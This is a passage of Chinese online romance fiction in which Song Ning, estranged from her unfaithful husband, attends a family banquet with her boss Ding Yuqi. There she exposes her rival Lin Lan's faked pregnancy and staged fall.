“是啊,那又能怎么样呢?”丁予期说:“你出轨已经是事实了。如果是之前,或许还有办法转圜,可是今天在帝景大厦上,当着无数记者的镜头你答应了林澜,默认了她傅太太的身份,承诺要跟她好好过日子,一起抚养孩子。你现在还有什么脸面再来祈求阿凝的原谅?” 傅东擎哽住。 “事情已经尘埃落定,今晚过后,所有人都知道林澜才是你的傅太太,她怀有身孕,不久之后就会生下傅家的继承人。而阿凝——有我了。” 宋凝缓过来了一些力气,伸出手去抓手机。 丁予期灵活地躲开:“阿凝,乖一点。” “丁予期,你是真的疯了吧?!” 为什么突然像是变了个人? 为什么随口就能编造出这么离谱的谎言? 就算是要让她和傅东擎离婚,你也没必要用这种奇怪的理由,把他自己也牵扯进来。 “我已经疯了很久了,”丁予期说:“我反而觉得,现在才是我最正常的时候。” 他对着电话说道:“今天就先这样吧,我跟阿凝还有些事情没办完,要继续办。” 电话被挂断了。 宋凝感觉自己身子一轻,竟然是被他整个扛在了肩上。 她惊慌不已:“丁予期,你干什么?” “放心,你不愿意的话,我不会真的碰你。” 下一秒,他已经走进了卧室,将她轻轻抛在床上。 宋凝整个人都随着松软的大床摇晃,却猛然间被沉沉地压了回去。 卧室里,窗帘都被拉的密不透风,一丝光线都没有。 纯黑的环境下,感官变得异常敏锐。 他却精准抬起她的下巴,捕捉到了她的唇。 耳边,手机铃声一遍又一遍聒噪地响着,不停歇,无休止。 他的吻也一样。 一路下滑,最后来到她的小腹。 他埋头下去,闷声说:“阿凝,感受我,我能让你快乐。” 﨔 第五十六章 好在是梦 “宋凝!” “啊——” 宋凝从梦中惊醒,已经浑身都是汗。 丁予期就站在沙发旁边,正伸手想要去摸她的额头。 宋凝吓了一跳,直接用手拍开了:“你干什么?” 丁予期也满脸莫名其妙:“怎么吓成这样?做噩梦了?” 宋凝往四周环顾了一下,这里的确还是64层的套房没错,但客厅里并不是完全黑漆漆一片,玄关处有一盏昏黄的小夜灯亮着。 她飞快地穿鞋跑过去推开了窗户—— 夜风虽然有些凉,但非常干爽。 没有下雨,更没有所谓的狂风骤雨。 静谧的夜晚,她还能听到楼下草丛里昆虫的叫声。 ……原来是梦。 可她怎么会做那种梦? 宋凝有些懊恼地捶了一下自己脑袋,但心下却稍稍安定。 可能是今晚亲眼看到林澜跳楼的事情,让她的精神有些太紧张了。 “你没事吧?” 丁予期的声音在身后响起。 宋凝想到那个清晰的梦境,浑身顿时起了一身鸡皮疙瘩。 她快速摇了摇头,然后往旁边走了两步,跟他拉开距离:“没事,现在没事了。” 丁予期却朝她走了过来,一边走,一边皱眉说道:“梦到什么可怕的事情了,怎么满头都是汗。” 说着,他又要伸手。 宋凝下意识想要后退躲开,可是她没意识到身后竟然是厨房的料理台,她一个没保持住平衡,整个人就往后仰倒过去。 “喂——” 丁予期一个健步上前,拉着她的手一用力,她就被他的力道拽得扑了回来。 还好,这一次她扶住了沙发靠背,没有直接钻进他的怀里。 丁予期抱着手臂看她,微微笑开:“难道你是梦到鬼了?” 宋凝惊魂未定:“比鬼还可怕。” “那就是梦到傅东擎又来找你了?” 宋凝抬起头,瞪了他一眼。 不得不承认,他还挺了解她。 跟遇到鬼相比,她现在更怕傅东擎不依不饶的纠缠。 遇到鬼她尚且可以念咒语或者直接跟鬼打一架,但是傅东擎……她现在不是很想见到他。 丁予期说:“今晚的新闻闹得很大,傅太太被逼的要去帝景大厦跳楼自杀,记者们恐怕已经把医院围了个水泄不通,傅东擎估计快要被烦死了,没工夫再来纠缠你。” 宋凝听了这话,微微点了点头:“那就好。” “所以你刚刚真的梦到傅东擎了吗?” “嗯。” “他怎么你了?” 他没怎么,你怎么了。 宋凝怎么也没想到,梦里面最可怕的不是傅东擎,而是丁予期。 他抱着她的力道,一步一步逼近她时候眼睛里的火焰,还有最后他把她按在床上…… 宋凝现在感觉置身于冰火两重天。 整个人都因为惊吓而冷的颤抖,但脸上却红的发烫。 丁予期察觉了她的异样,轻声问她:“你真的没事吗?” 宋凝说:“我睡不着,我想下去走走。” “现在?” “嗯。” “大晚上的,你一个女孩子不安全,我陪你。” “不用了,我带三个儿子一起去。” 三只大胖儿子还睡得迷迷瞪瞪的,就被宋凝套上了胸背,牵着下了楼。 等到走出酒店大门,吹到江边凉风的时候,宋凝才觉得理智终于回笼了。 想要打电话给谁倾诉一下,但这种梦…… 还是永远烂在肚子里吧。 偏偏丁予期还不放过她,发了个消息过来。 【丁予期:别走太远。】 宋凝把手机按灭了。 他的消息又不依不饶地追了过来。 【丁予期:你要是出了什么问题,我可没法交代。】 宋凝笑了。 是啊,他只是替好哥们暂时“照顾”一下准前妻而已。 他的担心,仅仅也只是怕自己跟傅东擎不好交代。 宋凝越发觉得自己刚刚做的那个梦就是自己这几天太累了的产物。 还好,梦是反的。 第二天,果然各大媒体铺天盖地都是林澜昨晚跳楼的消息。 但是不知道是不是傅东擎动用了钞能力,所有的报道中,对于林澜跳楼的原因都讳莫如深。 最多只是一个“情绪不稳定”。 下面的评论里,大多数的评论也都是正向的。 “女人怀孕期间,激素水平波动大,确实很容易情绪不稳定。” “估计是傅总忙着工作,一时疏忽了老婆,看他们后面深情拥抱的样子,感情应该挺好的。” “别的不说,这张照片还挺浪漫的啊!浦江边的第一高楼,整个S市都见证了他们的爱情。” 所有的评论,几乎都坐实了林澜“傅太太”的身份。 “宋经理。” 宋凝收起手机,抬起头来,“刘小姐,您要出去啊?” 刘小姐笑着点了点头:“对呀,今天有个饭局要去参加。宋经理有没有空,帮我开个车?” 宋凝的笑容当时就僵在脸上了。 刘小姐难缠她是知道的,但是提出这种要求,确实有点过分了。 宋凝仍旧保持着礼貌而客气的笑意:“不好意思啊刘小姐,我现在还是上班时间呢,实在是走不开。要不这样,我帮您叫个车送您去,车费就挂在房费上一起结算,您觉得呢?” 刘小姐顿时皱眉:“我今天去参加的可是一个高端的酒会,大家都是有私人司机的,如果我是坐网约车去的,大家都会看低我的。” “那……我给您叫个代驾?” “宋经理,我在这个酒店里住了这么长时间,骂走了那么多个经理,只有你让我觉得人还不错,可以相处看看。就冲着我们两个这份情谊,这个忙你都得帮我啊!” 宋凝嘴角微微抽了一下。 这个情谊,她能不能不要? 正好,丁予期从旁边经过的时候,问了一句:“宋经理,怎么了?” 宋凝昨晚在楼下逛了一晚上,托那个梦的福,她实在是不知道该怎么上去面对丁予期,所以干脆一直在楼下待着,今早上班之前才回来换了上班的制服。 再次见到他,还是在白天,宋凝还是觉得有些不自在。 “没什么事丁总,我能处理。” “哎哟,这位就是酒店的老板小丁总是吧?”刘小姐看到丁予期,立马变成了一脸喜气:“之前听瑞贝卡说过,但是一直没见过你,真是年少有为,年纪轻轻就管理这么大一个酒店了。” 丁予期说:“卫斯理酒店是我外公的产业,我只是帮外公打理一下而已。刘小姐是有什么事需要酒店方面帮您安排吗?” “有哇!我要去参加一个宴会,想让宋小姐给我当一回司机。小丁总,我可是酒店的常驻客户了,这个面子你不能不给我吧?” 﨔 第五十七章 我缺个女伴 皮球被踢到了丁予期这里。 宋凝乖乖低着头装鹌鹑。 这两个人,一个是她的老板,一个是她的上帝,只要他们两个达成一致,她干什么都行。 丁予期眼尖地看到了刘小姐手里的邀请函,一眼就认了出来:“刘小姐也要去顾家的满月酒?” “是啊!我跟顾家有些生意往来,他们家小金孙的满月酒,我肯定要到场祝贺的呀!听小丁总这个意思,您也要去?” 丁予期点了点头:“我也受我外公之托,要去给顾爷爷道一声喜。既然如此,刘小姐不如坐我的车去?” 刘小姐顿时惊喜不已:“这多不好意思呀……” “您也说了,您是我们酒店的大客户,服务肯定是要到位的。” “那好,那我就不推辞了。有小丁总开车送我,我今天可真有面子了,哈哈。” 宋凝听他们两个相谈甚欢,心里微微安定了些。 “丁总,那您……啊!” 车钥匙被扔了过来,宋凝狼狈地接住。 丁予期说:“去换身衣服,我跟刘小姐在车库等你。” 宋凝:“?” “刘小姐点名让你当司机,这是客户对你的信任,宋经理,你应该觉得开心啊。” 所以意思是说,他得了刘小姐的感谢,活儿还得她来干? 她昨晚真的是脑子秀逗了才会做那么一个傻缺到极致的梦! 她说:“我就不换衣服了吧,反正我又不进去会场。” 丁予期的语气不容拒绝:“去换,我缺个女伴。” “满月酒要什么女伴,又不是什么商务酒会……” 丁予期说:“你有磨蹭的功夫,衣服都换好了。赶紧去,别让刘小姐久等。” 说完,他就十分礼貌地做了个“请”的姿势,邀请刘小姐“女士优先”,两人先一步离开了。 宋凝没办法,只能返回了自己房间。 她没带什么可以撑场面的衣服,只能换上了丁予期前两天给她买的那套白色的向日葵裙子。 头发也稍微整理了一下,随意地披散着,只是在一侧别了一个简单的发卡。 到地库的时候,丁予期倒是跟刘小姐有说有笑的。 见她来了,丁予期直接摊开手:“车钥匙呢?” 宋凝把钥匙拿了出来。 丁予期一把抓过,自顾自钻进了驾驶座发动了车子。 ……不是说让她开吗? 怎么现在又自己开上了。 丁予期说:“我怕你对S市路况不熟,我倒是无所谓,最后害的刘小姐迟到了就不好了。” 刘小姐似乎已经把丁予期当自己人了,笑呵呵地说:“没关系没关系,晚一点也不要紧。” 宋凝看的啧啧称奇。 刘小姐这么一个难搞的人,居然变得这么好说话了? 她看了一眼丁予期,丁予期只是似笑非笑地看她:“上车啊,愣着干嘛。” 宋凝拉开了后排座位的车门,刘小姐说:“不好意思啊宋经理,我不太习惯跟别人坐一起。” 宋凝顿了顿,只好去了副驾驶。 一路上,丁予期开车开的很稳。 顾家的老宅在西浦,大概半小时车程就到了。 还没到门口,就能感受到顾家这个满月宴办的排场之大。 从巷子口开始,车就已经开不动了。 好在顾家安排了人在这里帮忙,指挥着车辆依次停好。 刘小姐似乎遇到了个熟人,先下车寒暄去了。 丁予期把车开到了指定的位置上,熄了火。 “这个顾家到底什么来头,孙子的满月酒而已,感觉全S市的名流贵族都来了。” 丁予期一边解开安全带,一边说:“顾老爷子正儿八经部队出身,实打实的军功。跟我外公还有傅东擎的爷爷都曾经是战友,只不过傅爷爷后面退伍之后开始从商,我外公原本跟顾爷爷都是并肩作战的,只不过后来受了伤,被送回了S市疗养至今。” 关于丁予期的家世,宋凝其实知道的不多。 她只是听傅东擎说过,他是丁家的三公子,但是好像也从来没提起过他外祖这一边的关系。 丁予期说:“我跟顾家的几个小辈也算是从小玩到大了,一会儿你都能见到。” 正说着,有人轻轻拍了拍丁予期的肩膀:“喂,小丁总大驾光临,稀客呀!” 宋凝回头,看到一个十分温婉柔和的女孩。 她跟丁予期很熟,笑意盈盈的,看到宋凝的时候问了一句:“这位是……” 丁予期说:“女伴,宋凝。” 宋凝吓了一跳,不知道是不是最近被丁予期给训练出来了,她总是感觉他下一句话要说:“我儿子的妈。” 还好还好,今天还算他有分寸。 女孩长得很漂亮,皮肤莹白透亮,五官柔和婉约,倒真有几分江南女子的秀美。 她轻笑着跟宋凝点了点头:“你好,宋小姐。” 宋凝也回以微笑。 但是在称呼的时候犯了难。 丁予期给她介绍:“这位是顾爷爷的掌上明珠,最小的孙子,顾秀秀。” 宋凝:“顾小姐您好,我叫宋凝。” “你……是不是予期的女朋友啊?” 宋凝连忙想否认,可这一次,丁予期否认的比她还快:“我酒店的员工而已,你可别乱说。” 顾秀秀轻笑:“你这么着急否认干什么?难道是今天宴会上有你的心上人?” 按照丁予期的一贯花 花公子作风,宋凝估计他又会痞里痞气地开玩笑糊弄过去。 可是今天她没想到的是,丁予期回答的很郑重:“是。” “秀秀,予期。” 这个声音是…… 宋凝一回头,就看到了今天头版头条上的两个大红人。 傅东擎西装革履,林澜还穿着一套白色的连衣裙,头发也披散了下来,手挽在傅东擎的臂弯里。 看到我的那一刻,傅东擎的脸色突然变得一片惨白。 他飞快地抽出自己的手臂,跟林澜拉开距离:“阿凝,你怎么在这里?” 顾秀秀有些惊讶:“东擎,你跟宋小姐也认识?” “我、我们……” 林澜笑着接过话:“之前因为一些事情我跟东东和宋小姐有过一些交集。这位就是顾小姐吧?我常听东东提起你,两家也算是世交,以后可要多走动啊。” 林澜一番话说的,颇有几分“傅太太”的排场。 顾秀秀礼貌的笑:“东擎,原来这位就是你金屋藏娇了这么多年,捂着不给我们看的挚爱啊?今天要不是托我小侄子的福,还真是无缘得见呢。” 傅东擎沉着脸,目光一直凝在宋凝身上。 他张了张嘴似乎是想解释,可林澜轻轻扯了扯他的胳膊,他只能又咽了回去。 只能用一种内疚又自责的复杂目光看着宋凝。 可下一秒,丁予期就往前走了一步,替她挡住了傅东擎的注视。 他还是那副玩世不恭的样子:“既然来了,那先就进去吧。” 顾秀秀连忙说:“对对对,走吧,我带你们直接去见我爷爷。” 傅东擎还想说什么,被林澜拉着往前走了,一步三回头。 “怎么,一见到傅东擎,就想起昨晚那个梦了?”丁予期问。 宋凝摇了摇头:“没有,走吧。” 﨔 第五十八章 宋小姐的男朋友 丁予期似乎很适合这种场合,一进门就开始被不同的人拉着寒暄。 宋凝谁都不认识,干脆找了个角落里猫着吃东西。 反正是公费上班,她不吃白不吃。 好在大家也不怎么认识她,她乐得清闲。 “宋小姐。” 宋凝一听到这个声音,就知道来者不善。 她直接端起餐盘准备离开。 可林澜却并没有放过她,不依不饶地追在她身后:“宋小姐就这么不想见到我吗?” 宋凝觉得这话说的是废话。 难道她还巴不得见到她? 不过刚好顾秀秀经过,阻了一下宋凝的路,她不得不停了下来。 林澜趁机追上,轻声说道:“宋小姐,我也没想过,我们再见面会是这样的场景。” 宋凝眼睛都没抬:“你找我, 要么是道歉,要么是道谢。但哪一种我都不想听,有这个时间你不如跟傅东擎多培养培养感情,别在我这边费功夫。” “可是宋小姐,你现在跟东东还是法律意义上的夫妻,不是吗?” 这句话一出,宋凝立刻就明白了林澜的来意。 她想转正。 昨晚她特地选在帝景大厦闹那一出,就是选在了S市人最多最繁华的地段,目的就是要把事情搞大。 最好是在所有人面前,先坐实她“傅太太”的身份。 然后再找机会找自己,逼她离婚。 宋凝不得不承认,她还是看走眼了。 她以为林澜只是一个其貌不扬但是手好看的普通店员,其实她步步为营,很是精明。 林澜继续说:“宋小姐,其实我一开始真的是想退出的,我不想当小三,更不想跟你抢老公。但是我有了孩子……作为一个母亲,我自己可以不争,但是我没有办法不为孩子争,请你理解。” “我理解什么?你有孩子了谁都得让着你?你的孩子又不是我的,跟我有什么关系?” 顾秀秀离开了,前面没人挡着,宋凝抬腿就要走。 可下一秒,她的手腕被抓住了,然后狠狠一拉。 她立刻站立不稳地往后倒去。 可是此时,林澜就站在她正后方! 如果她倒下去,肯定会压到林澜的,她肚子里还有孩子…… 千钧一发之际,林澜用响彻整个会场的声音大喊了一声:“东东救我——” 宋凝摔倒的瞬间,正好看到傅东擎听到了林澜的召唤,正在拨开人群往这边赶。 他的焦急,紧张,不是假的。 宋凝突然觉得没意思透了。 她微微一侧身,让自己重重地撞在了空调上,然后摔倒在地。 林澜就倒在她旁边,正在捂着肚子痛苦的蜷缩成一团。 “宋凝——” “阿凝——” 两道声音同时响起。 然后,她被抱进了一个宽厚温暖的怀抱里。 丁予期的声音在耳边响起:“没事吧?” 宋凝摇了摇头,余光里,她看到了迟来一步的傅东擎,也正伸出手打算抱她。 他的手僵在半空中,看着被丁予期抱在怀里的宋凝,有些错愕。 “东东,我肚子好痛……” 傅东擎依依不舍地看了一眼宋凝,对丁予期小声说了句:“谢了。” 然后才蹲下来查看林澜的伤势。 “你还好吗?” 林澜一下子扑进了傅东擎的怀里,失声痛哭:“吓死我了,刚刚我真的以为我和孩子都要见不到你了,呜呜呜……” 顾秀秀是今天的东道主,听到动静立刻赶了过来:“怎么了,出什么事了?” 林澜抽抽搭搭地说:“是宋小姐……但是她也是不小心脚滑了一下才撞到我的,你们千万别怪她!” 宋凝眼睛眯起。 林澜的狐狸尾巴,终于是露出来了。 傅东擎看了一眼宋凝,轻声道:“没事,大家继续。” 他轻轻推开了怀里的林澜,然后扶着林澜的手臂站起来,也只是小臂而已,跟她始终保持着一些社交距离。 但林澜站到一半,突然娇呼了一声,装作弱不禁风的样子,径直朝着傅东擎的怀里倒去。 当着所有人的面,傅东擎也不能后退一步,眼睁睁看着她摔倒在地,所以只能强行站在原地,让林澜再一次扑进了怀里。 顾秀秀连忙问道:“东擎,你太太没事吧?我听说她还怀着孕呢,要不然我找人送你们先去医院?” 傅东擎看了看宋凝,似乎心中还有千言万语要说。 他不想走。 他已经好久都没有见到宋凝了。 昨晚原本准备好的浪漫场景也没有实施,他更没有想到,他火急火燎地赶来S市见她,居然最后是以这样的方式—— 他身侧已经有了被媒体认证了的“傅太太”,而她今天是丁予期的女伴。 “……东擎?”顾秀秀见他没说话,叫了一声。 傅东擎收回视线:“不用了,她应该没什么大碍。” 顾秀秀说:“可是我看傅太太的神色,好像还是很痛的样子啊。今天你们是在我家出的事,万一傅太太有个三长两短,我们顾家也负不起这个责呀,毕竟现在傅太太肚子里怀着的,可是你们傅家未来的继承人!” 顾秀秀三两句话,本来是想跟傅东擎攀谈一下关系。 可是这话却让傅东擎白了脸色。 对于这个孩子,他一直讳莫如深,不想在宋凝面前提起。 可是偏偏事与愿违,好像老天爷都在跟他作对。 他轻声说:“我带她去医院吧,今天是顾家的大好日子,别耽误了你们的正事。” 说着,他给不远处使了个眼色。 小何立刻出现,在另一边扶住了林澜:“林小姐,我送您去医院吧,傅总还有些应酬,不方便早退。” 林澜听完,委屈地看向了傅东擎:“可是……” 小何立刻打断了她:“林小姐,孩子重要,您还是快点跟我走吧。” 说着,他便不由分说地半扶半推着林澜,想要把她带离会场。 “等等——” 一直没说话的丁予期突然叫了一声。 宋凝当即吓了一跳,她整个人还被丁予期半搂在怀里呢,这个时候叫住林澜干嘛! 丁予期笑着冲她挤挤眼睛:“被人污蔑了就这么放她走?你忍得下这口气?” 宋凝不解:“你要干什么?” 丁予期大声说道:“傅太太,你刚刚说,是我的女伴不小心撞倒了你,是吗?” 林澜停住了脚步,认出了他:“你是……宋小姐的男朋友?” 傅东擎猛地抬起头来。 林澜指着丁予期对傅东擎说:“东东,我见过他。之前宋小姐来我这里买首饰的时候,就是这位先生陪着她一起来的!我不小心弄伤了宋小姐的耳朵,这位先生特别着急,好像……很关心宋小姐的样子。” 﨔 第五十九章 我的女伴也不能受委屈 傅东擎皱眉低斥:“别乱说话!” 林澜眨巴着无辜的眼睛,小声又重复了一遍:“本来就是啊。当时这位先生一把就把我推开了,然后去关心宋小姐的伤势。不信你问他们,看看我有没有说谎。” 傅东擎的脸色有点难看。 “林澜!”他警告似的叫了一下她的名字:“也不看看今天是什么场合,你提这些没用的事情做什么!” 林澜一抖,眼睛里立刻含了一包泪水:“你凶我干什么……” 顾秀秀赶紧打圆场:“好了好了,傅太太也是好意,予期这么多年了都打光棍,要是有了女朋友不是好事么!哈哈,不过丁三少爷,你刚刚可是口口声声跟我否认了宋小姐是你女朋友啊,原来……是还没追到手啊?” 丁予期玩世不恭地耸了耸肩,不置可否。 傅东擎却有些急了:“秀秀,予期跟阿凝不是你想的那种关系,这件事有些复杂,有机会我慢慢跟你说。” “这件事可以有机会再说,但是傅太太,刚刚明明是你故意拉着我的女伴摔倒的,现在却口口声声地说是她撞了你,这件事你总得给我个说法。” 林澜脸色一白,有些慌乱,不过脸上表情不变,看上去还是柔柔弱弱的样子。 “这位先生,刚刚你明明不在场,根本不知道事情是怎么发生的,你凭什么自说自话?” 宋凝一直没说话,听到这里,不由得冷笑出声:“他没在现场,我可是当事人。傅太太,你这倒打一耙用的挺溜啊,跟猪八戒学的吗?” 对于宋凝的质问,林澜似乎早就准备好了说辞:“宋小姐,我知道你一直对我有意见,但是今天毕竟是顾家的好日子,我们就算有些私人恩怨,也不能坏顾家的大事啊!行吧,你说什么就是什么吧,我不跟你争了,我们把今天的主场还给顾家吧。” 言下之意,是宋凝不识大体,不但撞了她,还要不识大体地打顾家的脸。 林澜跟小何说:“何处理,麻烦你送我去医院吧,我不想因为我的事情耽误了顾家的正事。顾小姐,真是对不起了。” 她“彬彬有礼”、“顾全大局”,顾秀秀自然也说了一些宽心的话:“没关系没关系,只要你人没事就好了,不用道歉的。” 说着,她还提醒傅东擎:“你还是陪着一起去吧,心意到了就行,我转告爷爷的。” 傅东擎没动。 他只是看着宋凝,喉结上下滚动着。 “阿凝……”傅东擎说:“我们能聊聊吗?” 宋凝没理他,直接对顾秀秀说道:“顾小姐,真的很抱歉打断了你小侄子的满月宴。但是为了保险起见,我必须得把今天这件事落实清楚,免得日后傅太太肚子里的孩子出了问题,赖到我头上来。顾家都负不起的责任,我一个打工的牛马,就更负不起了。” 顾秀秀神色有些不好看:“宋小姐是吧?你是予期带来的女伴,按道理说应该是通情达理的,可是傅太太一个孕妇都很识大体的不跟你计较了,你还非要继续闹是吗?” 丁予期立马开了口:“怎么了,傅东擎带来的女人就是人,我带来的女伴就活该被人污蔑?秀秀,这就是你们顾家的待客之道?” 顾秀秀皱眉小声说道:“你别添乱了行吗?你明知道我爷爷对这个小重孙多么重视,大事化小小事化了吧,别再搞出事了。” “顾爷爷重视孩子我知道,但我的女伴也不能受了委屈。”丁予期说:“要不然我这就进去找顾爷爷出来,让他现场评评理?” 顾秀秀急急低吼道:“予期,胡闹也有个度!” 正说着,后面的房间里传来一个浑厚低沉的声音:“出什么事了?” 顾秀秀立马耷拉着脑袋去认错:“爷爷,没什么事,就是出了点小问题,我正在解决了……” 顾老爷子已经85岁高龄了,穿着一身中山装,但依旧精神矍铄。 他睥睨地看了一眼在场的所有人,尤其是在傅东擎和宋凝身上停顿了一下,随即微微蹙起眉心,似乎有些不解。 “顾爷爷。”丁予期叫了一声。 傅东擎也跟着叫人:“顾爷爷。” 顾老爷子问道:“原来是你们两个小兔崽子。你们一直不都是很要好的么,怎么今天在我家还闹起来了?” 顾秀秀小声说道:“不是他们两个闹起来,是他们两个的女朋友闹起来了。” “哦?” 顾秀秀说:“女人之间的事情,不是什么大事,我很快就处理好了,爷爷您先进去吧。” “不急,”顾老爷子说:“既然来了,我也想听听,到底是什么样的事情,让两个女孩子当众闹了起来。东擎,你先说。” 傅东擎神色讪讪的:“秀秀说得对,没什么大事,不值得惊动您。” 顾老爷子于是又看向了丁予期:“丁家那小子,你来说?” 丁予期笑了笑,说道:“顾爷爷,我还记得小时候你给我们讲水浒传的故事,我记得可清楚了。” “好端端的提水浒传干什么?” “您教我们的呀,路见不平一声吼,该出手时就出手。我的女伴站的好好的,被人拉了一把,撞了还摔了,结果还被人倒打一耙说她推了人,这还不算,还要扣一顶不识大体的帽子给她,我实在是忍不下这口气。” 顾老爷子听了哈哈大笑:“是这个道理。” “所以呀,”丁予期牵着宋凝的手腕走了出来:“我要求傅太太对刚才诬陷以及撞到我家女伴的事情,当着所有人的面澄清真相,恢复我女伴的名誉,并且当众向她道歉。” 顾老爷子听完,不由得挑了挑眉:“不愧是学律师的,看来不是糊弄人而已。” 他看向宋凝,问道:“小姑娘,你怎么说?” 宋凝上前,先给顾老爷子鞠了个躬,不卑不亢道:“顾老先生,我知道今天的日子对您和孩子来说都是意义重大,所以先跟您道个歉。” 顾老爷子抬了抬手:“没什么可道歉的,你继续说。” “顾老先生,我斗胆想请您帮个忙。” “可以,你说吧,什么忙?” 﨔 第六十章 一出好戏 “顾家的小金孙才刚刚满月,家里肯定有家庭医生在吧?傅太太怀着身孕,刚刚又摔倒了,能不能让家庭医生先给傅太太看看,她肚子里的孩子有没有问题。” 这句话一出,顾秀秀倒是对她的看法变得好了一些:“说的也是,去医院路上颠簸,可以先让家庭医生给看看。” 顾老爷子点头:“秀秀,去叫家庭医生出来。” “好,我这就去。” 宋凝余光里看了一眼林澜,后者的脸色唰的一下白了个彻底。 她不禁轻笑了一下:“傅太太,我们之间到底是谁撞了谁都可以后面再说,当务之急是确认孩子的安全,你说是不是?” 林澜的脸色又惨白了几分。 她用手捂着肚子,眼神开始乱飘。 傅东擎说:“还是不麻烦顾爷爷了,林澜应该没什么大事,不该这么兴师动众的……” 宋凝立刻说道:“傅先生,你太太肚子里怀着的可是你第一个孩子,还是先让家庭医生看看稳妥些吧?” 傅东擎脸色十分难看:“阿凝,你明知道她不是……” 不是傅太太。 可为什么还一口一句傅太太呢? 这明明就是在扎我的心啊…… 宋凝直接接过了他的话:“傅总是想说,傅太太不是故意的?” 她轻笑:“不着急,先让家庭医生看看,之后我们再确认她是不是故意的。” 很快,顾秀秀就带着家庭医生走了出来。 “傅太太,这位家庭医生会中医,让他给你把个脉吧。” 说着,顾秀秀让人搬了个椅子出来,请林澜坐下。 林澜迟疑着,说道:“我没事的,东东说得对,不用麻烦了。” “这怎么能是麻烦呢,东擎也是我爷爷从小看着长大的,他的孩子,我爷爷自然也是很重视的。傅太太,你快坐吧。” 林澜又去拉傅东擎的袖子。 可傅东擎猛地把袖子抽了出来,“既然大家都这么关心你,你就让医生给看看。” 林澜咬着唇,仍旧没动。 事情到了这个地步,宋凝已经很确定自己的猜测了。 前几天刚说有流产迹象,没几天就出现在帝景大厦的楼顶,被风吹被雨淋。 第二天又活蹦乱跳的来参加顾家小金孙的满月宴。 刚刚还不惜赔上自己,也要把脏水泼到宋凝身上。 这一桩桩一件件,就只有一个可能性了—— “傅太太,你怕是根本没有怀孕吧?” 林澜猛地一惊,抬起头来。 在场的人都有些惊讶,但当中最震惊的还是傅东擎。 他从一开始的愣住,到最后竟然是微微的喜悦。 没有怀孕? 如果没有怀孕的话,那是不是就能证实他没有跟林澜发生关系了? 他也不用被道德绑架,按着他的头去娶一个根本就不爱的女人? 傅东擎激动不已,立马说道:“医生,拜托你快给看看!” 家庭医生更懵了。 怎么有个女人说傅太太根本没怀孕,傅总却高兴地像是要疯了? 林澜不想去,但是她被小何架着,根本逃不掉。 小何直接拉着她的手放在了茶几上,说道:“林小姐,大家都是为你好,还是让医生看看吧。医生,麻烦你了。” 家庭医生搭上了脉搏,微微皱眉,仔细诊断着。 傅东擎急急问道:“怎么样?” 家庭医生吸了一口气,又确认了好几遍,终于下了结论:“我摸不到怀孕的脉象。” 傅东擎顿时狂喜起来:“你的意思是,她确实没怀孕是吗?” 家庭医生说:“中医只能依靠脉象来判断,我只能说我没有摸出来,想要准确答案的话,还是去医院抽血化验一下比较好。” 这下,顾秀秀人都傻了。 “东擎,你太太是什么情况呀?到底怀没怀孕?” 傅东擎已经激动到什么都顾不得了,他脑中只有一个念头,他跟阿凝,终于有希望可以重归于好了! 他径直冲向了宋凝,一把抱住了她:“阿凝,你真聪明,你是怎么猜到她根本没有怀孕的?不过这些都不重要了,我没有真的背叛你,阿凝,我……” “傅总!请你自重!” 宋凝狠狠地推开了他。 傅东擎一脸错愕:“阿凝……” 他还想靠近宋凝,丁予期却轻笑着走了出来,挡在了宋凝身前:“既然怀孕这件事已经盖棺定论了,那我们是不是该讨论一下,傅太太到底为什么要陷害我的女伴?” 丁予期的目光瞬间变得幽冷起来,他眯起眼睛看向了林澜:“还是说,一个谎言需要无数个谎言来圆,傅太太心里也知道,怀孕这件事迟早瞒不住,所以就想找个机会,演一场被人推倒然后流产的把戏,把黑锅全都扣在我女伴的头上?” 林澜咬着唇,一言不发。 “宋凝,你来说吧。” 丁予期往后退了一步,把舞台交给宋凝。 宋凝挺直了腰背,轻声说道:“我不知道傅太太的动机是什么,我只想说明刚刚的情况。我本不想招惹任何是非,是傅太太非要来找我说话,我想离开,她就拉住我的手腕,想让我摔倒,并且摔在她身上。” 她目光锐利,继续说道:“傅太太,倘若我真的按照你制定的剧本发展,恐怕现在真的就是跳进黄河也洗不清了。” 顾秀秀在一旁看着,此时也算是看明白了。 原来又是一出想要子凭母贵,飞上枝头当凤凰的戏码。 只是这个“子”居然是假的! 她不禁也有些感叹,这个傅太太也是胆子够大的,这种事情都能作假?! 顾老爷子冷眼看着,倒也没有偏颇谁:“小姑娘,你说是傅太太拉住你的手腕将你拉倒,你有什么证据吗?毕竟刚刚这里人多也很拥挤,不见得真的就是她做的。” 虽然林澜有很大的动机,但是毕竟没有证据。 傅东擎和丁予期都是他故交家里的小辈,他也不好偏颇谁,只能一碗水端平。 而且,他看得出来。 今天这两个臭小子带来的女孩,都不是什么好相与的。 一个表面柔弱内里包藏祸心,另一个冷静镇定落落大方。 他还真想看看,这两个臭小子到底谁的眼光好一些。 更况且,刚刚傅东擎对这位宋小姐的表现,明显两个人之间的关系也不简单。 还真是一出好戏。 另一边,宋凝想了想,说:“我有证据。” 﨔 第六十一章 我只是相信她而已 顾老爷子问:“什么证据?” 宋凝看向了旁边的空调,缓缓走了过去。 “当时的站位是,我站在空调左侧,而傅太太站在我后面。” 她大概指了一下两个人当时的站位。 然后继续说道:“我当时是面对着空调站着的,如果按照傅太太说的,是我故意撞她,那么我当时的动作应该是直直的往后倒,压在她的身上。但是——” “我最后倒下来的时候,是先撞到了空调,然后再落在了地上。说明我倒下去的方向是侧面,这跟傅太太说的,完全不符。” 宋凝给大家推演了一遍刚才两个人摔倒的过程。 这下,所有人都很清晰了。 “但是如果是我的说法,傅太太从身后故意拉我,我原本应该向后倒,但是我怕压着她,所以努力转换了角度,倒向了侧面,从而撞上空调,紧接着再倒地,这样逻辑才更通顺一些,也更符合实际情况。” 她说话条理清楚,把两种可能都分析地十分细致。 大家都不是傻子,经过她这么一推演,事情到底是怎么回事,大家心里都有一本账了。 宋凝说:“傅家的大孙子实在是太金贵,我不想惹事,但既然事惹到了我头上来,那我还是要说清楚的,免得日后又被人诬告了。” 诬告,她指的是傅学森和蒋秀兰上次故意给她做了个局,告了她敲诈勒索这件事。 好在当时有丁予期出手,不然她真的满身是嘴也说不清了。 顾老爷子微微颔首,唇角是慈爱的微笑:“说的有道理,也谢谢你今天当众说明了原委,如果这位傅太太真的在顾家的家宴上掉了孩子,我恐怕也无法向故去的老战友交代了。” 事已至此,宋凝功成身退。 她很巧妙地躲在了丁予期的身后,借用他的身形挡住自己,也挡住傅东擎火热的视线。 